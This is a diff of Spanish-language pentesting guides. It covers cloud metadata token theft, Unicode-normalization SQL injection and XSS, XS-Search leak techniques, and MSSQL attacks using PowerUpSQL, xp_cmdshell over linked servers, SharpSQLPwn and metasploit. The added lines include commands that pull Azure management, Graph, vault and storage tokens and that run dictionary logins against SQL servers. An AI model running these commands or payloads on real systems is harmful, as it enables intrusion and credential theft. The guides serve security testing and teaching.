gcloud config set auth/access_token_file /some/path/to/token > gcloud projects list @@ -323,11 +323,11 @@ curl http://169.254.169.254/metadata/v1.json | jq - No debe **contener** un encabezado `X-Forwarded-For` > [!TIP] -> Una Azure VM puede tener 1 identidad administrada por el sistema y varias identidades administradas por el usuario. Lo que básicamente significa que puedes **suplantar todas las identidades administradas adjuntas a una VM**. +> Una Azure VM puede tener adjunta 1 identidad administrada por el sistema y varias identidades administradas por el usuario. Lo que básicamente significa que puedes **suplantar todas las identidades administradas adjuntas a una VM**. > -> Por **defecto**, el punto final de metadatos utilizará la **MI asignada por el sistema (si la hay)**. +> Al solicitar un token de acceso al punto final de metadatos, por defecto el servicio de metadatos utilizará la **identidad administrada asignada por el sistema** para generar el token, si hay alguna identidad administrada asignada por el sistema. En caso de que haya solo **UNA identidad administrada asignada por el usuario**, entonces esta se utilizará por defecto. Sin embargo, en caso de que no haya identidad administrada asignada por el sistema y haya **varias identidades administradas asignadas por el usuario**, entonces el servicio de metadatos devolverá un error indicando que hay múltiples identidades administradas y es necesario **especificar cuál usar**. > -> Desafortunadamente, no pude encontrar ningún punto final de metadatos que indique todas las MIs que tiene una VM adjunta. +> Desafortunadamente, no pude encontrar ningún punto final de metadatos que indique todas las MIs que tiene adjunta una VM, por lo que averiguar todas las identidades administradas asignadas a una VM podría ser una tarea difícil desde la perspectiva de un Red Team. > > Por lo tanto, para encontrar todas las MIs adjuntas puedes hacer: > @@ -406,7 +406,20 @@ Invoke-RestMethod -Headers @{"Metadata"="true"} -Method GET -NoProxy -Uri "http: $userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "http://169.254.169.254/metadata/instance/compute/userData?api-version=2021- 01-01&format=text" [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($userData)) -# Paths +## Get management token +(Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://management.azure.com/" -Headers @{"Metadata"="true"}).access_token + +## Get graph token +(Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://graph.microsoft.com/" -Headers @{"Metadata"="true"}).access_token + +## Get vault token +(Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://vault.azure.net/" -Headers @{"Metadata"="true"}).access_token + +## Get storage token +(Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://storage.azure.com/" -Headers @{"Metadata"="true"}).access_token + + +# More Paths /metadata/instance?api-version=2017-04-02 /metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text /metadata/instance/compute/userData?api-version=2021-01-01&format=text @@ -426,7 +439,7 @@ La mayoría de las veces, deseas un token para uno de estos recursos: - [https://management.azure.com](https://management.azure.com/) > [!CAUTION] -> En las solicitudes de token utiliza cualquiera de los parámetros `object_id`, `client_id` o `msi_res_id` para indicar la identidad administrada que deseas usar ([**docs**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token)). Si no, se usará la **MI predeterminada**. +> En las solicitudes de token usa cualquiera de los parámetros `object_id`, `client_id` o `msi_res_id` para indicar la identidad administrada que deseas usar ([**docs**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token)). Si no, se usará la **MI predeterminada**. {{#tabs}} {{#tab name="Bash"}} @@ -450,7 +463,7 @@ curl "$IDENTITY_ENDPOINT?resource=https://storage.azure.com/&api-version=2019-08 {{#endtab}} {{#tab name="PS"}} -```powershell +```bash # Define the API version $API_VERSION = "2019-08-01" @@ -535,7 +548,7 @@ curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance # Get IAM credentials curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq ``` -La documentación para los servicios de metadatos de varias plataformas se describe a continuación, destacando los métodos a través de los cuales se puede acceder a la información de configuración y tiempo de ejecución para las instancias. Cada plataforma ofrece puntos finales únicos para acceder a sus servicios de metadatos. +Documentación para los servicios de metadatos de varias plataformas se describe a continuación, destacando los métodos a través de los cuales se puede acceder a la información de configuración y tiempo de ejecución para las instancias. Cada plataforma ofrece puntos finales únicos para acceder a sus servicios de metadatos. ## Packetcloud @@ -543,7 +556,7 @@ Para acceder a los metadatos de Packetcloud, la documentación se puede encontra ## OpenStack/RackSpace -No se menciona la necesidad de un encabezado. Los metadatos se pueden acceder a través de: +La necesidad de un encabezado no se menciona. Los metadatos se pueden acceder a través de: - `http://169.254.169.254/openstack` @@ -555,7 +568,7 @@ La necesidad de un encabezado tampoco se menciona aquí. Los metadatos son acces ## Oracle Cloud -Oracle Cloud proporciona una serie de puntos finales para acceder a varios aspectos de los metadatos: +Oracle Cloud proporciona una serie de puntos finales para acceder a varios aspectos de metadatos: - `http://192.0.0.192/latest/` - `http://192.0.0.192/latest/user-data/` @@ -564,7 +577,7 @@ Oracle Cloud proporciona una serie de puntos finales para acceder a varios aspec ## Alibaba -Alibaba ofrece puntos finales para acceder a los metadatos, incluidos los IDs de instancia e imagen: +Alibaba ofrece puntos finales para acceder a metadatos, incluidos los IDs de instancia e imagen: - `http://100.100.100.200/latest/meta-data/` - `http://100.100.100.200/latest/meta-data/instance-id` diff --git a/src/pentesting-web/unicode-injection/unicode-normalization.md b/src/pentesting-web/unicode-injection/unicode-normalization.md index 45a4dd16c..ccc5d98e8 100644 --- a/src/pentesting-web/unicode-injection/unicode-normalization.md +++ b/src/pentesting-web/unicode-injection/unicode-normalization.md @@ -18,10 +18,10 @@ Hay **cuatro algoritmos de normalización de Unicode**: NFC, NFD, NFKC y NFKD. C Entender la codificación de Unicode es fundamental, especialmente al tratar con problemas de interoperabilidad entre diferentes sistemas o lenguajes. Aquí están los puntos principales: - **Puntos de Código y Caracteres**: En Unicode, a cada carácter o símbolo se le asigna un valor numérico conocido como "punto de código". -- **Representación en Bytes**: El punto de código (o carácter) se representa mediante uno o más bytes en memoria. Por ejemplo, los caracteres LATIN-1 (comunes en países de habla inglesa) se representan utilizando un byte. Sin embargo, los idiomas con un conjunto más grande de caracteres necesitan más bytes para su representación. +- **Representación en Bytes**: El punto de código (o carácter) se representa por uno o más bytes en memoria. Por ejemplo, los caracteres LATIN-1 (comunes en países de habla inglesa) se representan utilizando un byte. Sin embargo, los idiomas con un conjunto más grande de caracteres necesitan más bytes para su representación. - **Codificación**: Este término se refiere a cómo los caracteres se transforman en una serie de bytes. UTF-8 es un estándar de codificación prevalente donde los caracteres ASCII se representan utilizando un byte, y hasta cuatro bytes para otros caracteres. - **Procesamiento de Datos**: Los sistemas que procesan datos deben ser conscientes de la codificación utilizada para convertir correctamente el flujo de bytes en caracteres. -- **Variantes de UTF**: Además de UTF-8, existen otros estándares de codificación como UTF-16 (que utiliza un mínimo de 2 bytes, hasta 4) y UTF-32 (que utiliza 4 bytes para todos los caracteres). +- **Variantes de UTF**: Además de UTF-8, hay otros estándares de codificación como UTF-16 (que utiliza un mínimo de 2 bytes, hasta 4) y UTF-32 (que utiliza 4 bytes para todos los caracteres). Es crucial comprender estos conceptos para manejar y mitigar eficazmente los problemas potenciales que surgen de la complejidad de Unicode y sus diversos métodos de codificación. @@ -31,7 +31,7 @@ unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "ch ``` **Una lista de caracteres equivalentes en Unicode se puede encontrar aquí:** [https://appcheck-ng.com/wp-content/uploads/unicode_normalization.html](https://appcheck-ng.com/wp-content/uploads/unicode_normalization.html) y [https://0xacb.com/normalization_table](https://0xacb.com/normalization_table) -### Descubriendo +### Descubrimiento Si puedes encontrar dentro de una webapp un valor que se está devolviendo, podrías intentar enviar **‘KELVIN SIGN’ (U+0212A)** que **se normaliza a "K"** (puedes enviarlo como `%e2%84%aa`). **Si se devuelve una "K"**, entonces, se está realizando algún tipo de **normalización Unicode**. @@ -43,7 +43,7 @@ Otro **ejemplo**: `%F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0%9D% Imagina una página web que está utilizando el carácter `'` para crear consultas SQL con la entrada del usuario. Esta web, como medida de seguridad, **elimina** todas las ocurrencias del carácter **`'`** de la entrada del usuario, pero **después de esa eliminación** y **antes de la creación** de la consulta, **normaliza** usando **Unicode** la entrada del usuario. -Entonces, un usuario malicioso podría insertar un carácter Unicode diferente equivalente a `' (0x27)` como `%ef%bc%87`, cuando la entrada se normaliza, se crea una comilla simple y aparece una **vulnerabilidad de SQLInjection**: +Entonces, un usuario malicioso podría insertar un carácter Unicode diferente equivalente a `' (0x27)` como `%ef%bc%87`, cuando la entrada se normaliza, se crea una comilla simple y aparece una **vulnerabilidad de inyección SQL**: ![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../images/image (702).png>) @@ -81,19 +81,19 @@ https://github.com/carlospolop/sqlmap_to_unicode_template ### XSS (Cross Site Scripting) -Puedes usar uno de los siguientes caracteres para engañar a la web y explotar un XSS: +Puedes usar uno de los siguientes caracteres para engañar a la webapp y explotar un XSS: ![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../images/image (312) (2).png>) -Ten en cuenta que, por ejemplo, el primer carácter Unicode propuesto puede enviarse como: `%e2%89%ae` o como `%u226e` +Ten en cuenta que, por ejemplo, el primer carácter Unicode propuesto se puede enviar como: `%e2%89%ae` o como `%u226e` ![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../images/image (215) (1) (1).png>) ### Fuzzing Regexes -Cuando el backend está **verificando la entrada del usuario con una regex**, puede ser posible que la **entrada** esté siendo **normalizada** para la **regex** pero **no** para donde se está **usando**. Por ejemplo, en un Open Redirect o SSRF, la regex podría estar **normalizando la URL enviada** pero luego **accediéndola tal como está**. +Cuando el backend está **verificando la entrada del usuario con una regex**, puede ser posible que la **entrada** esté siendo **normalizada** para la **regex** pero **no** para donde se está **usando**. Por ejemplo, en un Open Redirect o SSRF, la regex podría estar **normalizando la URL enviada** pero luego **accediendo a ella tal como está**. -La herramienta [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\* permite **generar variaciones de la entrada** para hacer fuzzing al backend. Para más información, consulta el **github** y este [**post**](https://0xacb.com/2022/11/21/recollapse/). +La herramienta [**recollapse**](https://github.com/0xacb/recollapse) permite **generar variaciones de la entrada** para hacer fuzzing al backend. Para más información, consulta el **github** y este [**post**](https://0xacb.com/2022/11/21/recollapse/). ## Desbordamiento Unicode diff --git a/src/pentesting-web/xs-search.md b/src/pentesting-web/xs-search.md index a9bc48bbc..5b94f6c58 100644 --- a/src/pentesting-web/xs-search.md +++ b/src/pentesting-web/xs-search.md @@ -11,7 +11,7 @@ Los componentes clave involucrados en este ataque incluyen: - **Web Vulnerable**: El sitio web objetivo del cual se pretende extraer información. - **Web del Atacante**: El sitio web malicioso creado por el atacante, que la víctima visita, alojando el exploit. - **Método de Inclusión**: La técnica empleada para incorporar la Web Vulnerable en la Web del Atacante (por ejemplo, window.open, iframe, fetch, etiqueta HTML con href, etc.). -- **Técnica de Fuga**: Técnicas utilizadas para discernir diferencias en el estado de la Web Vulnerable basadas en la información recopilada a través del método de inclusión. +- **Técnica de Fuga**: Técnicas utilizadas para discernir diferencias en el estado de la Web Vulnerable basadas en información recopilada a través del método de inclusión. - **Estados**: Las dos condiciones potenciales de la Web Vulnerable, que el atacante busca distinguir. - **Diferencias Detectables**: Variaciones observables de las que el atacante se basa para inferir el estado de la Web Vulnerable. @@ -22,9 +22,9 @@ Varios aspectos pueden ser analizados para diferenciar los estados de la Web Vul - **Código de Estado**: Distinguir entre **varios códigos de estado de respuesta HTTP** de origen cruzado, como errores de servidor, errores de cliente o errores de autenticación. - **Uso de API**: Identificar **el uso de APIs Web** a través de páginas, revelando si una página de origen cruzado emplea una API Web de JavaScript específica. - **Redirecciones**: Detectar navegaciones a diferentes páginas, no solo redirecciones HTTP, sino también aquellas desencadenadas por JavaScript o HTML. -- **Contenido de la Página**: Observar **variaciones en el cuerpo de la respuesta HTTP** o en los sub-recursos de la página, como el **número de marcos incrustados** o disparidades de tamaño en imágenes. +- **Contenido de la Página**: Observar **variaciones en el cuerpo de respuesta HTTP** o en sub-recursos de la página, como el **número de marcos incrustados** o disparidades en el tamaño de las imágenes. - **Encabezado HTTP**: Notar la presencia o posiblemente el valor de un **encabezado de respuesta HTTP específico**, incluyendo encabezados como X-Frame-Options, Content-Disposition y Cross-Origin-Resource-Policy. -- **Temporización**: Notar disparidades de tiempo consistentes entre los dos estados. +- **Temporización**: Notar discrepancias de tiempo consistentes entre los dos estados. ### Métodos de Inclusión @@ -36,7 +36,7 @@ Varios aspectos pueden ser analizados para diferenciar los estados de la Web Vul ### Técnicas de Fuga - **Manejador de Eventos**: Una técnica clásica de fuga en XS-Leaks, donde los manejadores de eventos como **onload** y **onerror** proporcionan información sobre el éxito o fracaso de la carga de recursos. -- **Mensajes de Error**: Excepciones de JavaScript o páginas de error especiales pueden proporcionar información de fuga ya sea directamente del mensaje de error o diferenciando entre su presencia y ausencia. +- **Mensajes de Error**: Excepciones de JavaScript o páginas de error especiales pueden proporcionar información de fuga, ya sea directamente del mensaje de error o diferenciando entre su presencia y ausencia. - **Límites Globales**: Limitaciones físicas de un navegador, como la capacidad de memoria u otros límites impuestos por el navegador, pueden señalar cuando se alcanza un umbral, sirviendo como técnica de fuga. - **Estado Global**: Interacciones detectables con los **estados globales** de los navegadores (por ejemplo, la interfaz de Historia) pueden ser explotadas. Por ejemplo, el **número de entradas** en el historial de un navegador puede ofrecer pistas sobre páginas de origen cruzado. - **API de Rendimiento**: Esta API proporciona **detalles de rendimiento de la página actual**, incluyendo el tiempo de red para el documento y recursos cargados, permitiendo inferencias sobre los recursos solicitados. @@ -44,12 +44,12 @@ Varios aspectos pueden ser analizados para diferenciar los estados de la Web Vul ## Herramienta y Documento XSinator -XSinator es una herramienta automática para **verificar navegadores contra varias XS-Leaks conocidas** explicadas en su documento: [**https://xsinator.com/paper.pdf**](https://xsinator.com/paper.pdf) +XSinator es una herramienta automática para **verificar navegadores contra varios XS-Leaks conocidos** explicados en su documento: [**https://xsinator.com/paper.pdf**](https://xsinator.com/paper.pdf) Puedes **acceder a la herramienta en** [**https://xsinator.com/**](https://xsinator.com/) > [!WARNING] -> **XS-Leaks Excluidos**: Tuvimos que excluir XS-Leaks que dependen de **trabajadores de servicio** ya que interferirían con otras fugas en XSinator. Además, elegimos **excluir XS-Leaks que dependen de configuraciones incorrectas y errores en una aplicación web específica**. Por ejemplo, configuraciones incorrectas de Cross-Origin Resource Sharing (CORS), fuga de postMessage o Cross-Site Scripting. Además, excluimos XS-Leaks basados en tiempo ya que a menudo sufren de ser lentos, ruidosos e inexactos. +> **XS-Leaks Excluidos**: Tuvimos que excluir XS-Leaks que dependen de **trabajadores de servicio** ya que interferirían con otras fugas en XSinator. Además, decidimos **excluir XS-Leaks que dependen de configuraciones incorrectas y errores en una aplicación web específica**. Por ejemplo, configuraciones incorrectas de Cross-Origin Resource Sharing (CORS), fuga de postMessage o Cross-Site Scripting. Además, excluimos XS-Leaks basados en tiempo ya que a menudo sufren de ser lentos, ruidosos e inexactos. ## **Técnicas Basadas en Tiempo** @@ -66,7 +66,7 @@ Para más información: [https://xsleaks.dev/docs/attacks/timing-attacks/clocks] - **Métodos de Inclusión**: Marcos, Elementos HTML - **Diferencia Detectable**: Código de Estado - **Más información**: [https://www.usenix.org/conference/usenixsecurity19/presentation/staicu](https://www.usenix.org/conference/usenixsecurity19/presentation/staicu), [https://xsleaks.dev/docs/attacks/error-events/](https://xsleaks.dev/docs/attacks/error-events/) -- **Resumen**: si se intenta cargar un recurso, se activan los eventos onerror/onload cuando el recurso se carga con éxito/sin éxito, es posible averiguar el código de estado. +- **Resumen**: si se intenta cargar un recurso, se activan eventos onerror/onload cuando el recurso se carga con éxito/sin éxito, es posible averiguar el código de estado. - **Ejemplo de código**: [https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)]() {{#ref}} @@ -97,7 +97,7 @@ xs-search/performance.now-example.md #### Tiempo de Onload + Tarea Pesada Forzada -Esta técnica es similar a la anterior, pero el **atacante** también **forzará** alguna acción para tomar un **tiempo relevante** cuando la **respuesta sea positiva o negativa** y medirá ese tiempo. +Esta técnica es similar a la anterior, pero el **atacante** también **forzará** alguna acción para que tome una **cantidad relevante de tiempo** cuando la **respuesta sea positiva o negativa** y medirá ese tiempo. {{#ref}} xs-search/performance.now-+-force-heavy-task.md @@ -111,7 +111,7 @@ xs-search/performance.now-+-force-heavy-task.md - **Resumen:** El [reloj SharedArrayBuffer](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#sharedarraybuffer-and-web-workers) se puede utilizar para medir cuánto tiempo tarda en realizarse una solicitud. Se podrían utilizar otros relojes. - **Ejemplo de Código**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events) -El tiempo que se tarda en obtener un recurso se puede medir utilizando los eventos [`unload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/unload_event) y [`beforeunload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/beforeunload_event). El evento **`beforeunload`** se activa cuando el navegador está a punto de navegar a una nueva página, mientras que el evento **`unload`** ocurre cuando la navegación está realmente teniendo lugar. La diferencia de tiempo entre estos dos eventos se puede calcular para determinar la **duración que el navegador pasó obteniendo el recurso**. +El tiempo que se tarda en obtener un recurso se puede medir utilizando los eventos [`unload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/unload_event) y [`beforeunload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/beforeunload_event). El evento **`beforeunload`** se activa cuando el navegador está a punto de navegar a una nueva página, mientras que el evento **`unload`** ocurre cuando la navegación está teniendo lugar. La diferencia de tiempo entre estos dos eventos se puede calcular para determinar la **duración que el navegador pasó obteniendo el recurso**. ### Tiempo de Marco Aislado + onload @@ -131,19 +131,19 @@ Se ha observado que en ausencia de [Protecciones de Enmarcado](https://xsleaks.d - **Inclusion Methods**: Frames - **Detectable Difference**: Contenido de la Página - **More info**: -- **Summary**: Si puedes hacer que la página dé un error cuando se accede al contenido correcto y hacer que se cargue correctamente cuando se accede a cualquier contenido, entonces puedes hacer un bucle para extraer toda la información sin medir el tiempo. +- **Summary**: Si puedes hacer que la página dé un error cuando se accede al contenido correcto y que se cargue correctamente cuando se accede a cualquier contenido, entonces puedes hacer un bucle para extraer toda la información sin medir el tiempo. - **Code Example**: -Supongamos que puedes **insertar** la **página** que tiene el **contenido secreto** **dentro de un Iframe**. +Supongamos que puedes **insertar** la **página** que tiene el **contenido** **secreto dentro de un Iframe**. -Puedes **hacer que la víctima busque** el archivo que contiene "_**flag**_" usando un **Iframe** (explotando un CSRF, por ejemplo). Dentro del Iframe sabes que el _**evento onload**_ será **ejecutado siempre al menos una vez**. Luego, puedes **cambiar** la **URL** del **iframe** pero cambiando solo el **contenido** del **hash** dentro de la URL. +Puedes **hacer que la víctima busque** el archivo que contiene "_**flag**_" usando un **Iframe** (explotando un CSRF, por ejemplo). Dentro del Iframe sabes que el _**evento onload**_ se **ejecutará siempre al menos una vez**. Luego, puedes **cambiar** la **URL** del **iframe** pero cambiando solo el **contenido** del **hash** dentro de la URL. Por ejemplo: 1. **URL1**: www.attacker.com/xssearch#try1 2. **URL2**: www.attacker.com/xssearch#try2 -Si la primera URL fue **cargada con éxito**, entonces, al **cambiar** la parte del **hash** de la URL, el **evento onload** **no será activado** de nuevo. Pero **si** la página tuvo algún tipo de **error** al **cargar**, entonces, el **evento onload** será **activado de nuevo**. +Si la primera URL se **cargó correctamente**, entonces, al **cambiar** la parte del **hash** de la URL, el **evento onload** **no se activará** de nuevo. Pero **si** la página tuvo algún tipo de **error** al **cargar**, entonces, el **evento onload** se **activará de nuevo**. Entonces, puedes **distinguir entre** una página **cargada correctamente** o una página que tiene un **error** cuando se accede. @@ -152,7 +152,7 @@ Entonces, puedes **distinguir entre** una página **cargada correctamente** o un - **Inclusion Methods**: Frames - **Detectable Difference**: Contenido de la Página - **More info**: -- **Summary:** Si la **página** está **devolviendo** el **contenido sensible**, **o** un **contenido** que puede ser **controlado** por el usuario. El usuario podría establecer **código JS válido en el caso negativo**, un **cargar** cada intento dentro de **`` está codificado o eliminado), dependiendo de la etiqueta podrías **crear un evento** que ejecute código JS: `" autofocus onfocus=alert(1) x="` -3. Si **no puedes escapar del atributo** (`"` está siendo codificado o eliminado), entonces dependiendo de **qué atributo** se está reflejando tu valor **si controlas todo el valor o solo una parte**, podrás abusar de ello. Por **ejemplo**, si controlas un evento como `onclick=` podrás hacer que ejecute código arbitrario cuando se haga clic. Otro **ejemplo** interesante es el atributo `href`, donde puedes usar el protocolo `javascript:` para ejecutar código arbitrario: **`href="javascript:alert(1)"`** +3. Si **no puedes escapar del atributo** (`"` está siendo codificado o eliminado), entonces dependiendo de **qué atributo** se está reflejando tu valor **si controlas todo el valor o solo una parte**, podrás abusar de ello. Por **ejemplo**, si controlas un evento como `onclick=`, podrás hacer que ejecute código arbitrario cuando se haga clic. Otro **ejemplo** interesante es el atributo `href`, donde puedes usar el protocolo `javascript:` para ejecutar código arbitrario: **`href="javascript:alert(1)"`** 4. Si tu entrada está reflejada dentro de "**etiquetas no explotables**", podrías intentar el truco del **`accesskey`** para abusar de la vulnerabilidad (necesitarás algún tipo de ingeniería social para explotar esto): **`" accesskey="x" onclick="alert(1)" x="** Ejemplo extraño de Angular ejecutando XSS si controlas un nombre de clase: @@ -151,7 +151,7 @@ server-side-xss-dynamic-pdf.md Cuando tu entrada se refleja **dentro de la página HTML** o puedes escapar e inyectar código HTML en este contexto, lo **primero** que necesitas hacer es verificar si puedes abusar de `<` para crear nuevas etiquetas: Solo intenta **reflejar** ese **carácter** y verifica si está siendo **codificado en HTML** o **eliminado** o si se **refleja sin cambios**. **Solo en este último caso podrás explotar este caso**.\ Para estos casos también **ten en cuenta** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\ -_**Nota: Un comentario HTML se puede cerrar usando\*\*\*\*\*\***\***\*`-->`\*\***\***\*o \*\*\*\*\*\***`--!>`\*\*_ +_**Nota: Un comentario HTML se puede cerrar usando\*\***\***\*`-->`\*\***\***\*o \*\***`--!>`\*\*_ En este caso y si no se utiliza ninguna lista negra/blanca, podrías usar cargas útiles como: ```html @@ -161,12 +161,12 @@ alert(1) ``` -Pero, si se está utilizando la lista negra/blanca de etiquetas/atributos, necesitarás **forzar por fuerza bruta qué etiquetas** puedes crear.\ -Una vez que hayas **localizado qué etiquetas están permitidas**, necesitarías **forzar por fuerza bruta atributos/eventos** dentro de las etiquetas válidas encontradas para ver cómo puedes atacar el contexto. +Pero, si se está utilizando la lista negra/blanca de etiquetas/atributos, necesitarás **forzar qué etiquetas** puedes crear.\ +Una vez que hayas **localizado qué etiquetas están permitidas**, necesitarás **forzar atributos/eventos** dentro de las etiquetas válidas encontradas para ver cómo puedes atacar el contexto. ### Fuerza bruta de etiquetas/eventos -Ve a [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) y haz clic en _**Copiar etiquetas al portapapeles**_. Luego, envía todas ellas usando Burp intruder y verifica si alguna etiqueta no fue descubierta como maliciosa por el WAF. Una vez que hayas descubierto qué etiquetas puedes usar, puedes **forzar por fuerza bruta todos los eventos** usando las etiquetas válidas (en la misma página web haz clic en _**Copiar eventos al portapapeles**_ y sigue el mismo procedimiento que antes). +Ve a [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) y haz clic en _**Copiar etiquetas al portapapeles**_. Luego, envía todas ellas usando Burp intruder y verifica si alguna etiqueta no fue descubierta como maliciosa por el WAF. Una vez que hayas descubierto qué etiquetas puedes usar, puedes **forzar todos los eventos** usando las etiquetas válidas (en la misma página web haz clic en _**Copiar eventos al portapapeles**_ y sigue el mismo procedimiento que antes). ### Etiquetas personalizadas @@ -226,7 +226,7 @@ onerror=alert`1` //Use more than one < ```shell @@ -91,11 +91,11 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth interactive ### Powershell El módulo de powershell [PowerUpSQL](https://github.com/NetSPI/PowerUpSQL) es muy útil en este caso. -```powershell +```bash Import-Module .\PowerupSQL.psd1 ```` ### Enumerando desde la red sin sesión de dominio -```powershell +```bash # Get local MSSQL instance (if any) Get-SQLInstanceLocal Get-SQLInstanceLocal | Get-SQLServerInfo @@ -109,7 +109,7 @@ Get-Content c:\temp\computers.txt | Get-SQLInstanceScanUDP –Verbose –Threads Get-SQLInstanceFile -FilePath C:\temp\instances.txt | Get-SQLConnectionTest -Verbose -Username test -Password test ``` ### Enumerando desde dentro del dominio -```powershell +```bash # Get local MSSQL instance (if any) Get-SQLInstanceLocal Get-SQLInstanceLocal | Get-SQLServerInfo @@ -118,6 +118,12 @@ Get-SQLInstanceLocal | Get-SQLServerInfo #This looks for SPNs that starts with MSSQL (not always is a MSSQL running instance) Get-SQLInstanceDomain | Get-SQLServerinfo -Verbose +# Try dictionary attack to login +Invoke-SQLAuditWeakLoginPw + +# Search SPNs of common software and try the default creds +Get-SQLServerDefaultLoginPw + #Test connections with each one Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -verbose @@ -130,11 +136,23 @@ Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } ## Abuso Básico de MSSQL ### Acceso a DB -```powershell +```bash +# List databases +Get-SQLInstanceDomain | Get-SQLDatabase + +# List tables in a DB you can read +Get-SQLInstanceDomain | Get-SQLTable -DatabaseName DBName + +# List columns in a table +Get-SQLInstanceDomain | Get-SQLColumn -DatabaseName DBName -TableName TableName + +# Get some sample data from a column in a table (columns username & passwor din the example) +Get-SQLInstanceDomain | GetSQLColumnSampleData -Keywords "username,password" -Verbose -SampleSize 10 + #Perform a SQL query Get-SQLQuery -Instance "sql.domain.io,1433" -Query "select @@servername" -#Dump an instance (a lotof CVSs generated in current dir) +#Dump an instance (a lot of CVSs generated in current dir) Invoke-SQLDumpInfo -Verbose -Instance "dcorp-mssql" # Search keywords in columns trying to access the MSSQL DBs @@ -144,11 +162,11 @@ Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } ### MSSQL RCE También podría ser posible **ejecutar comandos** dentro del host de MSSQL. -```powershell +```bash Invoke-SQLOSCmd -Instance "srv.sub.domain.local,1433" -Command "whoami" -RawResults # Invoke-SQLOSCmd automatically checks if xp_cmdshell is enable and enables it if necessary ``` -Consulta en la página mencionada en la **siguiente sección cómo hacer esto manualmente.** +Revisa en la página mencionada en la **siguiente sección cómo hacer esto manualmente.** ### Trucos Básicos de Hacking en MSSQL @@ -158,12 +176,12 @@ Consulta en la página mencionada en la **siguiente sección cómo hacer esto ma ## Enlaces de Confianza en MSSQL -Si una instancia de MSSQL es de confianza (enlace de base de datos) por otra instancia de MSSQL. Si el usuario tiene privilegios sobre la base de datos de confianza, podrá **utilizar la relación de confianza para ejecutar consultas también en la otra instancia**. Estas confianzas pueden encadenarse y en algún momento el usuario podría encontrar alguna base de datos mal configurada donde pueda ejecutar comandos. +Si una instancia de MSSQL es de confianza (enlace de base de datos) por otra instancia de MSSQL. Si el usuario tiene privilegios sobre la base de datos de confianza, podrá **utilizar la relación de confianza para ejecutar consultas también en la otra instancia**. Estas confianzas pueden encadenarse y en algún momento el usuario podría ser capaz de encontrar alguna base de datos mal configurada donde pueda ejecutar comandos. **Los enlaces entre bases de datos funcionan incluso a través de confianzas de bosque.** ### Abuso de Powershell -```powershell +```bash #Look for MSSQL links of an accessible instance Get-SQLServerLink -Instance dcorp-mssql -Verbose #Check for DatabaseLinkd > 0 @@ -194,15 +212,21 @@ Get-SQLQuery -Instance "sql.domain.io,1433" -Query 'EXEC(''sp_configure ''''xp_c ## If you see the results of @@selectname, it worked Get-SQLQuery -Instance "sql.rto.local,1433" -Query 'SELECT * FROM OPENQUERY("sql.rto.external", ''select @@servername; exec xp_cmdshell ''''powershell whoami'''''');' ``` +Otra herramienta similar que podría usarse es [**https://github.com/lefayjey/SharpSQLPwn**](https://github.com/lefayjey/SharpSQLPwn): +```bash +SharpSQLPwn.exe /modules:LIC /linkedsql: /cmd:whoami /impuser:sa +# Cobalt Strike +inject-assembly 4704 ../SharpCollection/SharpSQLPwn.exe /modules:LIC /linkedsql: /cmd:whoami /impuser:sa +``` ### Metasploit -Puedes verificar fácilmente los enlaces de confianza utilizando metasploit. +Puedes verificar fácilmente los enlaces de confianza usando metasploit. ```bash #Set username, password, windows auth (if using AD), IP... msf> use exploit/windows/mssql/mssql_linkcrawler [msf> set DEPLOY true] #Set DEPLOY to true if you want to abuse the privileges to obtain a meterpreter session ``` -Nota que metasploit intentará abusar solo de la función `openquery()` en MSSQL (así que, si no puedes ejecutar comandos con `openquery()`, necesitarás intentar el método `EXECUTE` **manualmente** para ejecutar comandos, ver más abajo). +Notice that metasploit will try to abuse only the `openquery()` function in MSSQL (so, if you can't execute command with `openquery()` you will need to try the `EXECUTE` method **manually** to execute commands, see more below.) ### Manual - Openquery() @@ -210,7 +234,7 @@ Desde **Linux** podrías obtener un shell de consola MSSQL con **sqsh** y **mssq Desde **Windows** también podrías encontrar los enlaces y ejecutar comandos manualmente usando un **cliente MSSQL como** [**HeidiSQL**](https://www.heidisql.com) -_Inicia sesión usando autenticación de Windows:_ +_Iniciar sesión usando autenticación de Windows:_ ![](<../../images/image (808).png>) @@ -221,7 